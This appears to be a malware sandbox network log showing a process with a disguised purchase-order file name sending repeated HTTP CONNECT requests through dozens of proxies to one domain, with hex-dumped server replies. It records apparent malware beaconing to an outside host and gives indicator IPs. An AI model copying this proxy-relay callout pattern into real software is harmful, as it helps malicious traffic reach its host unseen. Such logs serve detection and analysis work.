Mar 11, 2024 16:42:32.376491070 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.486080885 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:50.579091072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:02.579174995 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:14.579092026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:38.579021931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:26.578927040 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1490	192.168.2.11	50351	201.71.3.42	999	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.273808002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.376374960 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.191839933 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1491	192.168.2.11	54667	175.183.82.221	8197	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.274270058 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1492	192.168.2.11	50466	18.135.211.182	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.284588099 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.575294018 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:26 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1493	192.168.2.11	50428	8.218.100.120	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.293215036 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.376437902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.376466036 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.485927105 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:50.579092026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:01.836744070 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.24.0 Date: Mon, 11 Mar 2024 15:43:01 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.24.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1494	192.168.2.11	50287	51.68.164.77	32824	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.306020021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.329523087 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.438865900 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.439331055 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:50.469885111 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:02.471318960 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:14.469677925 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:38.485280991 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:26.500830889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1495	192.168.2.11	54828	45.144.30.232	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.316414118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1496	192.168.2.11	50404	104.247.163.246	3825	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.331974030 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.376435995 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.376486063 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.485913992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:50.579127073 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:02.579113960 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:14.579308033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:38.579265118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1497	192.168.2.11	54223	101.37.22.207	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.341067076 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.675030947 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 34 38 33 34 37 32 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003904834724"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1498	192.168.2.11	51248	69.61.200.104	36181	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.342082977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.438937902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1499	192.168.2.11	54359	209.182.192.90	38310	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.354042053 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.376487970 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.376491070 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.486080885 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1500	192.168.2.11	54703	175.183.82.221	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.354156017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.794253111 CET	166	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1501	192.168.2.11	54313	104.238.111.107	23667	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.356810093 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1502	192.168.2.11	50535	50.63.12.33	22450	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.357304096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.376437902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.376485109 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.485927105 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:50.579200983 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:14.579094887 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:02.578991890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1503	192.168.2.11	54790	192.154.246.96	9000	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.360512972 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1504	192.168.2.11	54045	120.194.4.157	82	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.365803003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.001172066 CET	319	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 15:42:26 GMT Content-Type: text/html Content-Length: 170 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
